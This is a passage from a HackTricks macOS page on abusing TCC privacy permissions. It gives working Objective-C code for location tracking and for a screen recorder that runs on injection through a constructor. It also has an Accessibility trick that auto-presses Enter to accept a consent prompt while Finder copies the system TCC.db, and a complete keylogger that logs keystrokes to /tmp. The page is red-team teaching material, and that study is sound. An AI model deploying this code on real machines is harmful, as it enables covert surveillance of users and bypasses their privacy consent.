    LocationManagerDelegate *delegate = [[LocationManagerDelegate alloc] init];
    locationManager.delegate = delegate;

    [locationManager requestWhenInUseAuthorization]; // or use requestAlwaysAuthorization
    [locationManager startUpdatingLocation];

    NSRunLoop *runLoop = [NSRunLoop currentRunLoop];
    while (true) {
        [runLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
    }

    NSLog(@"Location completed successfully.");
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}
</code></pre>
<p>{{#endtab}}</p>
<p>{{#tab name="Shell"}}
Get access to the location</p>
<pre><code>???
</code></pre>
<p>{{#endtab}}
{{#endtabs}}</p>
<h3 id="screen-recording"><a class="header" href="#screen-recording">Screen Recording</a></h3>
<ul>
<li><strong>Entitlement</strong>: None</li>
<li><strong>TCC</strong>: <code>kTCCServiceScreenCapture</code></li>
</ul>
<p>{{#tabs}}
{{#tab name="ObjectiveC"}}
Record the main screen for 5s in <code>/tmp/screen.mov</code></p>
<pre><code class="language-objectivec">#import &lt;Foundation/Foundation.h&gt;
#import &lt;AVFoundation/AVFoundation.h&gt;

// clang -framework Foundation -framework AVFoundation -framework CoreVideo -framework CoreMedia -framework CoreGraphics -o ScreenCapture ScreenCapture.m

@interface MyRecordingDelegate : NSObject &lt;AVCaptureFileOutputRecordingDelegate&gt;
@end

@implementation MyRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)output
    didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
    fromConnections:(NSArray *)connections
    error:(NSError *)error {
    if (error) {
        NSLog(@"Recording error: %@", error);
    } else {
        NSLog(@"Recording finished successfully.");
    }
    exit(0);
}

@end

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
    AVCaptureSession *captureSession = [[AVCaptureSession alloc] init];
    AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()];
    if ([captureSession canAddInput:screenInput]) {
        [captureSession addInput:screenInput];
    }

    AVCaptureMovieFileOutput *fileOutput = [[AVCaptureMovieFileOutput alloc] init];
    if ([captureSession canAddOutput:fileOutput]) {
        [captureSession addOutput:fileOutput];
    }

    [captureSession startRunning];

    MyRecordingDelegate *delegate = [[MyRecordingDelegate alloc] init];
    [fileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@"/tmp/screen.mov"] recordingDelegate:delegate];

    // Run the loop for 5 seconds to capture
    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(5 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
        [fileOutput stopRecording];
    });

    CFRunLoopRun();
    freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}
</code></pre>
<p>{{#endtab}}</p>
<p>{{#tab name="Shell"}}
Record the main screen for 5s</p>
<pre><code class="language-bash">screencapture -V 5 /tmp/screen.mov
</code></pre>
<p>{{#endtab}}
{{#endtabs}}</p>
<h3 id="accessibility"><a class="header" href="#accessibility">Accessibility</a></h3>
<ul>
<li><strong>Entitlement</strong>: None</li>
<li><strong>TCC</strong>: <code>kTCCServiceAccessibility</code></li>
</ul>
<p>Use the TCC privilege to accept the control of Finder pressing enter and bypass TCC that way</p>
<p>{{#tabs}}
{{#tab name="Accept TCC"}}</p>
<pre><code class="language-objectivec">#import &lt;Foundation/Foundation.h&gt;
#import &lt;ApplicationServices/ApplicationServices.h&gt;
#import &lt;OSAKit/OSAKit.h&gt;

// clang -framework Foundation -framework ApplicationServices -framework OSAKit -o ParallelScript ParallelScript.m
// TODO: Improve to monitor the foreground app and press enter when TCC appears

void SimulateKeyPress(CGKeyCode keyCode) {
    CGEventRef keyDownEvent = CGEventCreateKeyboardEvent(NULL, keyCode, true);
    CGEventRef keyUpEvent = CGEventCreateKeyboardEvent(NULL, keyCode, false);
    CGEventPost(kCGHIDEventTap, keyDownEvent);
    CGEventPost(kCGHIDEventTap, keyUpEvent);
    if (keyDownEvent) CFRelease(keyDownEvent);
    if (keyUpEvent) CFRelease(keyUpEvent);
}

void RunAppleScript() {
    NSLog(@"Starting AppleScript");
    NSString *scriptSource = @"tell application \"Finder\"\n"
                             "set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias\n"
                             "set targetFolder to POSIX file \"/tmp\" as alias\n"
                             "duplicate file sourceFile to targetFolder with replacing\n"
                             "end tell\n";

    NSDictionary *errorDict = nil;
    NSAppleScript *appleScript = [[NSAppleScript alloc] initWithSource:scriptSource];
    [appleScript executeAndReturnError:&amp;errorDict];

    if (errorDict) {
        NSLog(@"AppleScript Error: %@", errorDict);
    }
}

int main() {
    @autoreleasepool {
        dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
            RunAppleScript();
        });

        // Simulate pressing the Enter key every 0.1 seconds
        NSLog(@"Starting key presses");
        for (int i = 0; i &lt; 10; ++i) {
            SimulateKeyPress((CGKeyCode)36); // Key code for Enter
            usleep(100000); // 0.1 seconds
        }
    }
    return 0;
}
</code></pre>
<p>{{#endtab}}</p>
<p>{{#tab name="Keylogger"}}
Store the pressed keys in <strong><code>/tmp/keystrokes.txt</code></strong></p>
<pre><code class="language-objectivec">#import &lt;Foundation/Foundation.h&gt;
#import &lt;ApplicationServices/ApplicationServices.h&gt;
#import &lt;Carbon/Carbon.h&gt;

// clang -framework Foundation -framework ApplicationServices -framework Carbon -o KeyboardMonitor KeyboardMonitor.m

NSString *const kKeystrokesLogPath = @"/tmp/keystrokes.txt";

void AppendStringToFile(NSString *str, NSString *filePath) {
    NSFileHandle *fileHandle = [NSFileHandle fileHandleForWritingAtPath:filePath];
    if (fileHandle) {
        [fileHandle seekToEndOfFile];
        [fileHandle writeData:[str dataUsingEncoding:NSUTF8StringEncoding]];
        [fileHandle closeFile];
    } else {
        // If the file does not exist, create it
        [str writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];
    }
}

CGEventRef KeyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
    if (type == kCGEventKeyDown) {
        CGKeyCode keyCode = (CGKeyCode)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);

        NSString *keyString = nil;
        // First, handle special non-printable keys
        switch (keyCode) {
            case kVK_Return: keyString = @"&lt;Return&gt;"; break;
            case kVK_Tab: keyString = @"&lt;Tab&gt;"; break;
            case kVK_Space: keyString = @"&lt;Space&gt;"; break;
            case kVK_Delete: keyString = @"&lt;Delete&gt;"; break;
            case kVK_Escape: keyString = @"&lt;Escape&gt;"; break;
            case kVK_Command: keyString = @"&lt;Command&gt;"; break;
            case kVK_Shift: keyString = @"&lt;Shift&gt;"; break;
            case kVK_CapsLock: keyString = @"&lt;CapsLock&gt;"; break;
            case kVK_Option: keyString = @"&lt;Option&gt;"; break;
            case kVK_Control: keyString = @"&lt;Control&gt;"; break;
            case kVK_RightControl: keyString = @"&lt;Control&gt;"; break;
            case kVK_RightShift: keyString = @"&lt;Shift&gt;"; break;
            case kVK_RightOption: keyString = @"&lt;Option&gt;"; break;
            case kVK_Function: keyString = @"&lt;Function&gt;"; break;
            case kVK_F1: keyString = @"&lt;F1&gt;"; break;
            case kVK_F2: keyString = @"&lt;F2&gt;"; break;
            case kVK_F3: keyString = @"&lt;F3&gt;"; break;
            // Add more cases here for other non-printable keys...
            default: break; // Not a special non-printable key
        }

        // If it's not a special key, try to translate it
        if (!keyString) {
            UniCharCount maxStringLength = 4;
            UniCharCount actualStringLength = 0;
            UniChar unicodeString[maxStringLength];

            TISInputSourceRef currentKeyboard = TISCopyCurrentKeyboardInputSource();
            CFDataRef layoutData = TISGetInputSourceProperty(currentKeyboard, kTISPropertyUnicodeKeyLayoutData);
            const UCKeyboardLayout *keyboardLayout = (const UCKeyboardLayout *)CFDataGetBytePtr(layoutData);

            UInt32 deadKeyState = 0;
            OSStatus status = UCKeyTranslate(keyboardLayout,
                                             keyCode,
                                             kUCKeyActionDown,
                                             0,
                                             LMGetKbdType(),
                                             kUCKeyTranslateNoDeadKeysBit,
                                             &amp;deadKeyState,
                                             maxStringLength,
                                             &amp;actualStringLength,
                                             unicodeString);
            CFRelease(currentKeyboard);

            if (status == noErr &amp;&amp; actualStringLength &gt; 0) {
                keyString = [NSString stringWithCharacters:unicodeString length:actualStringLength];
            } else {
                keyString = [NSString stringWithFormat:@"&lt;KeyCode: %d&gt;", keyCode];
            }
        }

        NSString *logString = [NSString stringWithFormat:@"%@\n", keyString];
        AppendStringToFile(logString, kKeystrokesLogPath);
    }
    return event;
}

int main() {
    @autoreleasepool {
        CGEventMask eventMask = CGEventMaskBit(kCGEventKeyDown);
        CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, KeyboardEventCallback, NULL);

        if (!eventTap) {
            NSLog(@"Failed to create event tap");
            exit(1);
        }

        CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
        CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
        CGEventTapEnable(eventTap, true);
        CFRunLoopRun();
    }
    return 0;
}
</code></pre>
<p>{{#endtab}}
{{#endtabs}}</p>
<blockquote>
<p>[!CAUTION] &gt; <strong>Accessibility is a very powerful permission</strong>, you could abuse it in other ways, for example you could perform the <strong>keystrokes attack</strong> just from it without needed to call System Events.</p>
</blockquote>
<blockquote>
<p>[!TIP]
Learn &amp; practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;"><a href="https://training.hacktricks.xyz/courses/arte"><strong>HackTricks Training AWS Red Team Expert (ARTE)</strong></a><img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;"><br />
Learn &amp; practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;"><a href="https://training.hacktricks.xyz/courses/grte"><strong>HackTricks Training GCP Red Team Expert (GRTE)</strong></a><img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;"></p>
<details>
<summary>Support HackTricks</summary>
<ul>
<li>Check the <a href="https://github.com/sponsors/carlospolop"><strong>subscription plans</strong></a>!</li>
<li><strong>Join the</strong> 💬 <a href="https://discord.gg/hRep4RUj7f"><strong>Discord group</strong></a> or the <a href="https://t.me/peass"><strong>telegram group</strong></a> or <strong>follow</strong> us on <strong>Twitter</strong> 🐦 <a href="https://twitter.com/hacktricks_live"><strong>@hacktricks_live</strong></a><strong>.</strong></li>
<li><strong>Share hacking tricks by submitting PRs to the</strong> <a href="https://github.com/carlospolop/hacktricks"><strong>HackTricks</strong></a> and <a href="https://github.com/carlospolop/hacktricks-cloud"><strong>HackTricks Cloud</strong></a> github repos.</li>
</ul>
</details>
</blockquote>

                        </main>

                        <nav class="nav-wrapper" aria-label="Page navigation">
                            <!-- Mobile navigation buttons -->
                                <a rel="prev" href="../../../../macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.html" class="mobile-nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
                                    <i class="fa fa-angle-left"></i>
                                </a>

                                <a rel="next prefetch" href="../../../../macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.html" class="mobile-nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
                                    <i class="fa fa-angle-right"></i>
                                </a>

                            <div style="clear: both"></div>
                        </nav>

                        <nav class="nav-wide-wrapper" aria-label="Page navigation">
                                <a rel="prev" href="../../../../macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.html" class="nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
                                    <i class="fa fa-angle-left"></i><span style="font-size: medium; align-self: center; margin-left: 10px;">macOS Apple Scripts</span>
                                </a>

                                <a rel="next prefetch" href="../../../../macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.html" class="nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
                                    <span style="font-size: medium; align-self: center; margin-right: 10px;">macOS Dangerous Entitlements &amp; TCC perms</span><i class="fa fa-angle-right"></i>
                                </a>
                        </nav>
                    </div>

                    <div class="sidetoc">
                        <div class="sidetoc-wrapper">
                            <nav class="pagetoc"></nav>
                            <a class="sidesponsor" href="" target="_blank">
                                <img src="" alt="" srcset="">
                                <div class="sponsor-title">
                                </div>
                                <div class="sponsor-description">
                                </div>
                                <div class="sponsor-cta"></div>
                            </a>
                        </div>
                    </div>
                </div>
                <div class="footer">
                    <div id="theme-wrapper" class="theme-wrapper">
                        <div id="theme-btns" class="theme-btns">
                            <button id="hacktricks-light" type="button" role="radio" aria-label="Switch to light theme" aria-checked="false" class="theme">
                                <i class="fa fa-sun-o"></i>
                            </button>
                            <button id="hacktricks-dark" type="button" role="radio" aria-label="Switch to dark theme" aria-checked="false" class="theme theme-selected">
                                <i class="fa fa-moon-o"></i>
                            </button>
                        </div>
                    </div>
                </div>
            </div>



        </div>




        <script>
            window.playground_copyable = true;
        </script>


        <script src="../../../../elasticlunr.min.js"></script>
        <script src="../../../../mark.min.js"></script>
        <!--<script src="../../../../searcher.js"></script>-->

        <script src="../../../../clipboard.min.js"></script>
        <script src="../../../../highlight.js"></script>
        <script src="../../../../book.js"></script>

        <!-- Custom JS scripts -->
        <script src="../../../../theme/pagetoc.js"></script>
        <script src="../../../../theme/tabs.js"></script>
        <script src="../../../../theme/ht_searcher.js"></script>
        <script src="../../../../theme/sponsor.js"></script>

        <!-- Custom analytics -->
        <script defer src="https://www.fairanalytics.de/pixel/deXeO7BNBrMuhdG1"></script>



    </div>
    </body>
</html>
